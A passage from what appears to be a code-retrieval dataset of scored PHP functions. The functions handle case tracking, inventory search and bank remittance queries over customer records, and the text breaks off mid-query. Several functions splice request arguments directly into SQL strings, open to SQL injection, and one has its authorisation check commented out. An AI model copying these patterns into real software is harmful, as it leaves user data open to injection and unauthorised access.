cierraGestionOficio()\n\t{\n\t\t$this->validapwdtecleadoope();\n\t\t$wlidpersonarecibe=$this->argumentos[\"wl_idpersona_recibe\"];\n\t\t$wlusuarioalta=$this->argumentos[\"wl_usuario_alta\"];\n\t\t$wlusuarioactual=$_SESSION[\"parametro1\"];\n\t\t$wlfolio=$this->argumentos[\"wl_folioconsecutivo\"];\n\n\t\t/*$sql = \t\" select id_persona from contra.cat_personas where usename='\".$wlusuarioactual.\"';\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\t$this->hayerrorsql($this->connection,\"cierraGestion\",$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error en libera \".$sql.\" error \".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$wlidusuarioactual=$row[\"id_persona\"];\n\t\tif ($wlidpersonarecibe==$wlidusuarioactual || $wlusuarioalta==$wlusuarioactual)\n\t\t{\techo \"<__eventocontinua>true</__eventocontinua>\";\t}\n\t\telse\n\t\t{\techo \"<error>El usuario actual no puede cerrar el tramite</error>\";\t}*/\n\t\t\n\t\t$sql = \t\" select estatus from contra.gestion where folioconsecutivo=$wlfolio;\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\t\t\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$wlestatus=$row[\"estatus\"];\n\t\tif ($wlestatus==3) { echo \"<error>El tramite ya fue cerrado</error>\";\t}\n\t\t\n\t\t$sql = \t\" select count (*) from contra.ope_archivos where folioconsecutivo=$wlfolio and id_tipoarc=2;\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\t\t\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$count=$row[\"count\"];\n\t\tif ($count==0) { echo \"<error>Imposible cerrar, el tramite no tiene adjunto el oficio de contestacion!</error>\";\t}\n\t\t\n\t}", "title": "" }, { "docid": "513b4cafed94e225b526a069cd615316", "score": "0.49803308", "text": "function quefolioAsigno()\n {\n $folioconsecutivo=$this->argumentos[\"iden\"];\n $sql = \" select * from contra.gestion \".\n \" where folioconsecutivo=\".$this->argumentos[\"iden\"];\n $sql_result = pg_exec($this->connection,$sql);\n if (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error en quefolioAsigno \".$sql.\" error \".pg_last_error($this->connection).\"</error>\"; }\n else\n {\n $num = pg_numrows($sql_result);\n if ($num!=0) \n {\n $row = pg_fetch_array($sql_result, 0);\n $folio=$row['folio'];\n $folios=$row['folios'];\n if ($folios>=2)\n { \n $sql = \" select * from contra.gestion_masiva($folioconsecutivo::integer,$folios);\";\n $sql_result = pg_exec($this->connection,$sql);\n if (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error en quefolioAsigno \".$sql.\" error \".pg_last_error($this->connection).\"</error>\"; }\n $row = pg_fetch_array($sql_result, 0);\n echo \"<error>Folios Asignado $folio al \".$row['gestion_masiva'].\"</error>\";\n }\n else \n {\n echo \"<error>Folios Asignado: \".$folio.\"</error>\";\n }\n }\n { echo \"<error>error no encontro folio asignado</error>\"; }\n }\n }", "title": "" }, { "docid": "ad5183aefa08ede0fd37e84b7e172a7d", "score": "0.49782634", "text": "function actuEstatusGestion()\n\t{\n\t\t$folioc=$this->argumentos[\"wl_folioconsecutivo\"];\n\t\t$sql = \t\" update contra.gestion set estatus=2 where folioconsecutivo=$folioc and estatus=1\t\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\t$this->hayerrorsql($this->connection,\"libera\",$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error en actuEstatusGestion \".$sql.\" error \".pg_last_error($this->connection).\"</error>\"; }\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "3b531e032b4e02c50e9dd78328c96486", "score": "0.4978244", "text": "function fue_chequeado($tip,$num,$p,$desde){\r\n $sql=\"select * from public_auditoria.logs_integrante_externo_pi \"\r\n . \" where tipo_docum='\".$tip.\"' and nro_docum=$num and pinvest=$p and desde='\".$desde.\"'\"\r\n . \" and check_inv=1 \";\r\n $res=toba::db('designa')->consultar($sql);\r\n if(count($res)>0){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "8531f7ba6e6b87c5bcbe4b16861da31d", "score": "0.49772733", "text": "public static function retornar_itens_estoque($status, $marcaFiltro, $nomeFiltro, $categoriaFiltro, $loteFiltro, $email){\n include '../includes/conecta_bd.inc';\n\n $query = \"SELECT e.id, i.nome, i.marca, c.descricaoCategoria, f.nomeFornecedor, e.quantidade AS quantidadeEstoque, i.unidadeMedida, e.preco, i.quantidade AS quantidadeItem, e.lote, DATE_FORMAT(e.validade, '%d/%m/%Y') AS validade, DATE_FORMAT(e.dataCadastro, '%d/%m/%Y %H:%i') AS dataCadastro, DATE_FORMAT(e.dataAtualizacao, '%d/%m/%Y %H:%i') AS dataAtualizacao, u.nomeUsuario \n FROM item i, usuario u, categoria c, estoque e, fornecedor f\n WHERE i.idUsuario = u.id \n AND i.idCategoria = c.id \n AND i.id = e.idItem \n AND e.idFornecedor = f.id\n AND u.email = '$email'\n AND e.statusItem = '$status'\";\n \n \n if ($marcaFiltro){\n $query = $query.\" AND i.marca LIKE '%$marcaFiltro%'\";\n }\n \n if ($nomeFiltro){\n $query = $query.\" AND i.nome LIKE '%$nomeFiltro%'\"; \n }\n \n if ($categoriaFiltro){\n $query = $query.\" AND c.descricaoCategoria LIKE '%$categoriaFiltro%'\";\n }\n \n if ($loteFiltro){\n $query = $query.\" AND e.lote = '$loteFiltro'\";\n } \n \n $query = $query.\" ORDER BY i.nome, i.marca, e.lote\";\n \n $resultado = mysqli_query($conexao, $query);\n $linhas = mysqli_num_rows($resultado);\n\n if($linhas > 0){\n $i = 0;\n while($row = mysqli_fetch_array($resultado)){\n $id[$i] = $row['id'];\n $nome[$i] = $row['nome'];\n $marca[$i] = $row['marca'];\n $categoria[$i] = $row['descricaoCategoria'];\n $fornecedor[$i] = $row['nomeFornecedor'];\n $quantidadeEstoque[$i] = $row['quantidadeEstoque'];\n $unidadeMedida[$i] = $row['unidadeMedida'];\n $preco[$i] = number_format($row['preco'], 2);\n $quantidadeItem[$i] = $row['quantidadeItem'];\n $lote[$i] = $row['lote'];\n $validade[$i] = $row['validade'];\n $dataCadastro[$i] = $row['dataCadastro'];\n $dataAtualizacao[$i] = $row['dataAtualizacao'];\n $nomeUsuario[$i] = $row['nomeUsuario'];\n $i++; \n }\n return array($id, $nome, $marca, $categoria, $fornecedor, $quantidadeEstoque, $unidadeMedida, $preco, $quantidadeItem, $lote, $validade, $dataCadastro, $dataAtualizacao, $nomeUsuario);\n }\n return null;\n }", "title": "" }, { "docid": "a2c9cd89bbba0bae0005c238033ce832", "score": "0.49753296", "text": "public function getCronogramaMedicoMensual($codigo, $fecha) {\n parent::ConnectionOpen(\"pnsCronogramaMedico\", \"dbweb\");\n parent::SetParameterSP(\"$1\", '06');\n parent::SetParameterSP(\"$2\", $fecha);\n parent::SetParameterSP(\"$3\", '0');\n parent::SetParameterSP(\"$4\", '0');\n parent::SetParameterSP(\"$5\", '0');\n parent::SetParameterSP(\"$6\", '');\n parent::SetParameterSP(\"$7\", $codigo);\n parent::SetParameterSP(\"$8\", '');\n parent::SetParameterSP(\"contadoroptimofechas\", '');\n $resultado = parent::executeSPArrayX();\n return $resultado;\n }", "title": "" }, { "docid": "15c93cc54ef09c2e55e7419af616e9ec", "score": "0.49746433", "text": "public function buscaTitulosRemessa($limite, $tiposPermitidos, $formaCobranca) {\r\n\r\n\t\tif(is_array($formaCobranca)){\r\n\t\t\t$formaCobranca = implode(',', $formaCobranca);\r\n\t\t}\r\n\t\t\r\n\t\t$tpetoidBaixaRegistro = $this->getStatusBaixaTituloSantander();\r\n\t\t\r\n\t\t$sqlTitulo = \"SELECT\r\n\t\t\t\t\t\t'titulo' AS tipo,\r\n\t\t\t\t\t\tclioid AS id_cliente,\r\n\t\t\t\t\t\t'33' AS cod_banco,\r\n\t\t\t\t\t\t'0001' AS numero_lote,\r\n\t\t\t\t\t\t'3' AS tipo_registro_p,\r\n\t\t\t\t\t\t'' AS sequencial_detalhe_p,\r\n\t\t\t\t\t\t'P' AS cod_segmento_p,\r\n\t\t\t\t\t\ttpetcodigo AS cod_movimento_p,\r\n\t\t\t\t\t\t'2102' AS agencia_fidc,\r\n\t\t\t\t\t\t'' AS digito_agencia_fidc,\r\n\t\t\t\t\t\t'' AS numero_conta_corrente,\r\n\t\t\t\t\t\t'' AS digito_conta,\r\n\t\t\t\t\t\t'' AS conta_fidc,\r\n\t\t\t\t\t\t'' AS digito_conta_fidc,\r\n\t\t\t\t\t\ttitnumero_registro_banco AS nosso_numero,\r\n\t\t\t\t\t\t'1' AS tipo_cobranca,\r\n\t\t\t\t\t\t'1' AS forma_cadastramento,\r\n\t\t\t\t\t\t'1' AS tipo_documento,\r\n\t\t\t\t\t\ttitoid AS numero_documento,\r\n\t\t\t\t\t\tTO_CHAR(titdt_vencimento, 'DDMMYYYY') AS data_vencimento,\r\n\t\t\t\t\t\ttitvl_titulo AS valor_nominal,\r\n\t\t\t\t\t\t'' AS agencia_cobranca,\r\n\t\t\t\t\t\t'' AS digito_agencia_beneficiario,\r\n\t\t\t\t\t\t'02' AS especie_titulo,\r\n\t\t\t\t\t\t'N' AS identificador_aceite,\r\n\t\t\t\t\t\tTO_CHAR(titdt_inclusao, 'DDMMYYYY') AS data_emissao,\r\n\t\t\t\t\t\tTO_CHAR(titdt_inclusao, 'YYYY-MM-DD') AS data_emissao_prazo,\r\n\t\t\t\t\t\t'2' AS cod_juros_mora,\r\n\t\t\t\t\t\tTO_CHAR(titdt_vencimento+1, 'DDMMYYYY') AS data_juros_mora,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tpcsidescricao::NUMERIC\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t AND pcsioid = 'PERCENTO_JUROS_AO_MES'\r\n\t\t\t\t\t\t) AS valor_mora,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN titvl_desconto IS NULL THEN\r\n\t\t\t\t\t\t\t\t0\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\t1\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS cod_desconto1,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN titvl_desconto IS NULL THEN\r\n\t\t\t\t\t\t\t\t''\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\tTO_CHAR(titdt_vencimento, 'DDMMYYYY')\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS data_desconto1,\r\n\t\t\t\t\t\ttitvl_desconto AS valor_desconto1,\r\n\t\t\t\t\t\t'' AS valor_iof,\r\n\t\t\t\t\t\t'' AS valor_abatimento,\r\n\t\t\t\t\t\ttitoid AS identificacao_titulo,\r\n\t\t\t\t\t\t'0' AS cod_protesto,\r\n\t\t\t\t\t\t'' AS numero_dias_protesto,\r\n\t\t\t\t\t\t'1' AS cod_baixa,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tpcsidescricao\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t\tAND pcsioid = 'DIAS_BAIXA_DEVOLUCAO'\r\n\t\t\t\t\t\t) AS numero_dias_baixa,\r\n\t\t\t\t\t\t'00' AS cod_moeda,\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t'3' AS tipo_registro_q,\r\n\t\t\t\t\t\t'' AS sequencial_detalhe_q,\r\n\t\t\t\t\t\t'Q' AS cod_segmento_q,\r\n\t\t\t\t\t\ttpetcodigo AS cod_movimento_q,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN clitipo = 'F' THEN\r\n\t\t\t\t\t\t\t\t1\r\n\t\t\t\t\t\t\tWHEN clitipo = 'J' THEN\r\n\t\t\t\t\t\t\t\t2\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\tNULL\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS tipo_inscricao,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN clitipo = 'F' THEN\r\n\t\t\t\t\t\t\t\tclino_cpf\r\n\t\t\t\t\t\t\tWHEN clitipo = 'J' THEN\r\n\t\t\t\t\t\t\t\tclino_cgc\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\tNULL\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS inscricao,\r\n\t\t\t\t\t\tclinome AS nome,\r\n\t\t\t\t\t\tendlogradouro AS endereco,\r\n\t\t\t\t\t\tendbairro AS bairro,\r\n\t\t\t\t\t\tendcep AS cep,\r\n\t\t\t\t\t\t'' AS sufixo_cep,\r\n\t\t\t\t\t\tendcidade AS cidade,\r\n\t\t\t\t\t\tenduf AS uf,\r\n\t\t\t\t\t\t'2' AS tipo_avalista,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tteccnpj\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\ttectran\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\ttecurl_sistema = 'PUBLIC'\r\n\t\t\t\t\t\t) AS inscricao_avalista,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\ttecrazao\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\ttectran\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\ttecurl_sistema = 'PUBLIC'\r\n\t\t\t\t\t\t) AS nome_avalista,\r\n\t\t\t\t\t\t'000' AS identificador_carne,\r\n\t\t\t\t\t\t'' AS sequencial_parcela,\r\n\t\t\t\t\t\t'' AS total_parcelas,\r\n\t\t\t\t\t\t'' AS numero_plano,\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t'3' AS tipo_registro_r,\r\n\t\t\t\t\t\t'' AS sequencial_detalhe_r,\r\n\t\t\t\t\t\t'R' AS cod_segmento_r,\r\n\t\t\t\t\t\ttpetcodigo AS cod_movimento_r,\r\n\t\t\t\t\t\t'0' AS cod_desconto2,\r\n\t\t\t\t\t\t'' AS data_desconto2,\r\n\t\t\t\t\t\t'' AS valor_desconto2,\r\n\t\t\t\t\t\t'2' AS cod_multa,\r\n\t\t\t\t\t\t'' AS data_multa,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tpcsidescricao::NUMERIC\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t\tAND pcsioid = 'PERCENTO_MULTA_APOS_VENCER'\r\n\t\t\t\t\t\t) AS valor_multa,\r\n\t\t\t\t\t\t'' AS mensagem3,\r\n\t\t\t\t\t\t'' AS mensagem4,\r\n\t\t\t\t\t\tTO_CHAR(titdt_vencimento, 'YYYY-MM-DD') AS vencimento_classe_boleto\r\n\t\t\t\t\tFROM\r\n\t\t\t\t\t\ttitulo\r\n\t\t\t\t\t\tINNER JOIN clientes ON titclioid=clioid\r\n\t\t\t\t\t\tINNER JOIN endereco ON cliend_cobr=endoid\r\n\t\t\t\t\t\tINNER JOIN tipo_evento_titulo ON tpetoid=tittpetoid\r\n\t\t\t\t\t\tLEFT JOIN nota_fiscal ON titnfloid = nfloid\r\n\t\t\t\t\tWHERE\r\n\t\t\t\t\t\ttpetcfbbanco = 33 \r\n\t\t\t\t\t\tAND tpetcob_registrada IS TRUE\r\n\t\t\t\t\t\tAND titrtcroid IS NULL\r\n\t\t\t\t\t\tAND titdt_pagamento IS NULL\r\n\t\t\t\t\t\tAND titdt_vencimento::DATE >= NOW()::DATE\r\n\t\t\t\t\t\tAND titformacobranca IN ($formaCobranca) \r\n AND tittpetoid IN (11,15,17,20,23)\r\n \t\t\t\t\t\tAND titdt_cancelamento IS NULL \";\r\n\r\n\t\t$sqlRetencao = \"SELECT\r\n\t\t\t\t\t\t'retencao' AS tipo,\r\n\t\t\t\t\t\tclioid AS id_cliente,\r\n\t\t\t\t\t\t'33' AS cod_banco,\r\n\t\t\t\t\t\t'0001' AS numero_lote,\r\n\t\t\t\t\t\t'3' AS tipo_registro_p,\r\n\t\t\t\t\t\t'' AS sequencial_detalhe_p,\r\n\t\t\t\t\t\t'P' AS cod_segmento_p,\r\n\t\t\t\t\t\ttpetcodigo AS cod_movimento_p,\r\n\t\t\t\t\t\t'2102' AS agencia_fidc,\r\n\t\t\t\t\t\t'' AS digito_agencia_fidc,\r\n\t\t\t\t\t\t'' AS numero_conta_corrente,\r\n\t\t\t\t\t\t'' AS digito_conta,\r\n\t\t\t\t\t\t'' AS conta_fidc,\r\n\t\t\t\t\t\t'' AS digito_conta_fidc,\r\n\t\t\t\t\t\ttitnumero_registro_banco AS nosso_numero,\r\n\t\t\t\t\t\t'1' AS tipo_cobranca,\r\n\t\t\t\t\t\t'1' AS forma_cadastramento,\r\n\t\t\t\t\t\t'1' AS tipo_documento,\r\n\t\t\t\t\t\ttitoid AS numero_documento,\r\n\t\t\t\t\t\tTO_CHAR(titdt_vencimento, 'DDMMYYYY') AS data_vencimento,\r\n\t\t\t\t\t\ttitvl_titulo_retencao AS valor_nominal,\r\n\t\t\t\t\t\t'' AS agencia_cobranca,\r\n\t\t\t\t\t\t'' AS digito_agencia_beneficiario,\r\n\t\t\t\t\t\t'02' AS especie_titulo,\r\n\t\t\t\t\t\t'N' AS identificador_aceite,\r\n\t\t\t\t\t\tTO_CHAR(titdt_inclusao, 'DDMMYYYY') AS data_emissao,\r\n TO_CHAR(titdt_inclusao, 'YYYY-MM-DD') AS data_emissao_prazo,\r\n\t\t\t\t\t\t'2' AS cod_juros_mora,\r\n\t\t\t\t\t\tTO_CHAR(titdt_vencimento+1, 'DDMMYYYY') AS data_juros_mora,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tpcsidescricao::NUMERIC\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t AND pcsioid = 'PERCENTO_JUROS_AO_MES'\r\n\t\t\t\t\t\t) AS valor_mora,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN titvl_desconto IS NULL THEN\r\n\t\t\t\t\t\t\t\t0\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\t1\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS cod_desconto1,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN titvl_desconto IS NULL THEN\r\n\t\t\t\t\t\t\t\t''\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\tTO_CHAR(titdt_vencimento, 'DDMMYYYY')\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS data_desconto1,\r\n\t\t\t\t\t\ttitvl_desconto AS valor_desconto1,\r\n\t\t\t\t\t\t'' AS valor_iof,\r\n\t\t\t\t\t\t'' AS valor_abatimento,\r\n\t\t\t\t\t\ttitoid AS identificacao_titulo,\r\n\t\t\t\t\t\t'0' AS cod_protesto,\r\n\t\t\t\t\t\t'' AS numero_dias_protesto,\r\n\t\t\t\t\t\t'1' AS cod_baixa,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tpcsidescricao\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t\tAND pcsioid = 'DIAS_BAIXA_DEVOLUCAO'\r\n\t\t\t\t\t\t) AS numero_dias_baixa,\r\n\t\t\t\t\t\t'00' AS cod_moeda,\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t'3' AS tipo_registro_q,\r\n\t\t\t\t\t\t'' AS sequencial_detalhe_q,\r\n\t\t\t\t\t\t'Q' AS cod_segmento_q,\r\n\t\t\t\t\t\ttpetcodigo AS cod_movimento_q,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN clitipo = 'F' THEN\r\n\t\t\t\t\t\t\t\t1\r\n\t\t\t\t\t\t\tWHEN clitipo = 'J' THEN\r\n\t\t\t\t\t\t\t\t2\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\tNULL\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS tipo_inscricao,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tCASE WHEN clitipo = 'F' THEN\r\n\t\t\t\t\t\t\t\tclino_cpf\r\n\t\t\t\t\t\t\tWHEN clitipo = 'J' THEN\r\n\t\t\t\t\t\t\t\tclino_cgc\r\n\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\tNULL\r\n\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t) AS inscricao,\r\n\t\t\t\t\t\tclinome AS nome,\r\n\t\t\t\t\t\tendlogradouro AS endereco,\r\n\t\t\t\t\t\tendbairro AS bairro,\r\n\t\t\t\t\t\tendcep AS cep,\r\n\t\t\t\t\t\t'' AS sufixo_cep,\r\n\t\t\t\t\t\tendcidade AS cidade,\r\n\t\t\t\t\t\tenduf AS uf,\r\n\t\t\t\t\t\t'2' AS tipo_avalista,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tteccnpj\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\ttectran\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\ttecurl_sistema = 'PUBLIC'\r\n\t\t\t\t\t\t) AS inscricao_avalista,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\ttecrazao\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\ttectran\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\ttecurl_sistema = 'PUBLIC'\r\n\t\t\t\t\t\t) AS nome_avalista,\r\n\t\t\t\t\t\t'000' AS identificador_carne,\r\n\t\t\t\t\t\t'' AS sequencial_parcela,\r\n\t\t\t\t\t\t'' AS total_parcelas,\r\n\t\t\t\t\t\t'' AS numero_plano,\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t'3' AS tipo_registro_r,\r\n\t\t\t\t\t\t'' AS sequencial_detalhe_r,\r\n\t\t\t\t\t\t'R' AS cod_segmento_r,\r\n\t\t\t\t\t\ttpetcodigo AS cod_movimento_r,\r\n\t\t\t\t\t\t'0' AS cod_desconto2,\r\n\t\t\t\t\t\t'' AS data_desconto2,\r\n\t\t\t\t\t\t'' AS valor_desconto2,\r\n\t\t\t\t\t\t'2' AS cod_multa,\r\n\t\t\t\t\t\t'' AS data_multa,\r\n\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\tpcsidescricao::NUMERIC\r\n\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t\tAND pcsioid = 'PERCENTO_MULTA_APOS_VENCER'\r\n\t\t\t\t\t\t) AS valor_multa,\r\n\t\t\t\t\t\t'' AS mensagem3,\r\n\t\t\t\t\t\t'' AS mensagem4,\r\n\t\t\t\t\t\tTO_CHAR(titdt_vencimento, 'YYYY-MM-DD') AS vencimento_classe_boleto\r\n\t\t\t\t\tFROM\r\n\t\t\t\t\t\ttitulo_retencao\r\n\t\t\t\t\t\tINNER JOIN clientes ON titclioid=clioid\r\n\t\t\t\t\t\tINNER JOIN endereco ON cliend_cobr=endoid\r\n\t\t\t\t\t\tINNER JOIN tipo_evento_titulo ON tpetoid=tittpetoid\r\n\t\t\t\t\t\tLEFT JOIN nota_fiscal ON titnfloid = nfloid\r\n\t\t\t\t\tWHERE\r\n\t\t\t\t\t\ttpetcfbbanco = 33 \r\n\t\t\t\t\t\tAND tpetcob_registrada IS TRUE\r\n\t\t\t\t\t\tAND titrtcroid IS NULL\r\n\t\t\t\t\t\tAND titdt_pagamento IS NULL\r\n\t\t\t\t\t\tAND titdt_vencimento::DATE >= NOW()::DATE\r\n\t\t\t\t\t\tAND titformacobranca IN ($formaCobranca) \r\n\t\t\t\t\t\tAND tittpetoid IN (11,15,17,20,23)\t\t\t\t\t\t\r\n AND titdt_cancelamento IS NULL \";\r\n\t\t\r\n\t\t$sqlConsolidado = \"SELECT\r\n\t\t\t\t\t\t\t'consolidado' AS tipo,\r\n\t\t\t\t\t\t\tclioid AS id_cliente,\r\n\t\t\t\t\t\t\t'33' AS cod_banco,\r\n\t\t\t\t\t\t\t'0001' AS numero_lote,\r\n\t\t\t\t\t\t\t'3' AS tipo_registro_p,\r\n\t\t\t\t\t\t\t'' AS sequencial_detalhe_p,\r\n\t\t\t\t\t\t\t'P' AS cod_segmento_p,\r\n\t\t\t\t\t\t\ttpetcodigo AS cod_movimento_p,\r\n\t\t\t\t\t\t\t'2102' AS agencia_fidc,\r\n\t\t\t\t\t\t\t'' AS digito_agencia_fidc,\r\n\t\t\t\t\t\t\t'' AS numero_conta_corrente,\r\n\t\t\t\t\t\t\t'' AS digito_conta,\r\n\t\t\t\t\t\t\t'' AS conta_fidc,\r\n\t\t\t\t\t\t\t'' AS digito_conta_fidc,\r\n\t\t\t\t\t\t\ttitcnumero_registro_banco AS nosso_numero,\r\n\t\t\t\t\t\t\t'1' AS tipo_cobranca,\r\n\t\t\t\t\t\t\t'1' AS forma_cadastramento,\r\n\t\t\t\t\t\t\t'1' AS tipo_documento,\r\n\t\t\t\t\t\t\ttitcoid AS numero_documento,\r\n\t\t\t\t\t\t\tTO_CHAR(titCdt_vencimento, 'DDMMYYYY') AS data_vencimento,\r\n\t\t\t\t\t\t\ttitcvl_titulo AS valor_nominal,\r\n\t\t\t\t\t\t\t'' AS agencia_cobranca,\r\n\t\t\t\t\t\t\t'' AS digito_agencia_beneficiario,\r\n\t\t\t\t\t\t\t'02' AS especie_titulo,\r\n\t\t\t\t\t\t\t'N' AS identificador_aceite,\r\n\t\t\t\t\t\t\tTO_CHAR(titcdt_inclusao, 'DDMMYYYY') AS data_emissao,\r\n\t\t\t\t\t\t\tTO_CHAR(titcdt_inclusao, 'YYYY-MM-DD') AS data_emissao_prazo,\r\n\t\t\t\t\t\t\t'2' AS cod_juros_mora,\r\n\t\t\t\t\t\t\tTO_CHAR(titcdt_vencimento+1, 'DDMMYYYY') AS data_juros_mora,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\t\tpcsidescricao::NUMERIC\r\n\t\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t\t AND pcsioid = 'PERCENTO_JUROS_AO_MES'\r\n\t\t\t\t\t\t\t) AS valor_mora,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tCASE WHEN titcvl_desconto IS NULL THEN\r\n\t\t\t\t\t\t\t\t\t0\r\n\t\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\t\t1\r\n\t\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t\t) AS 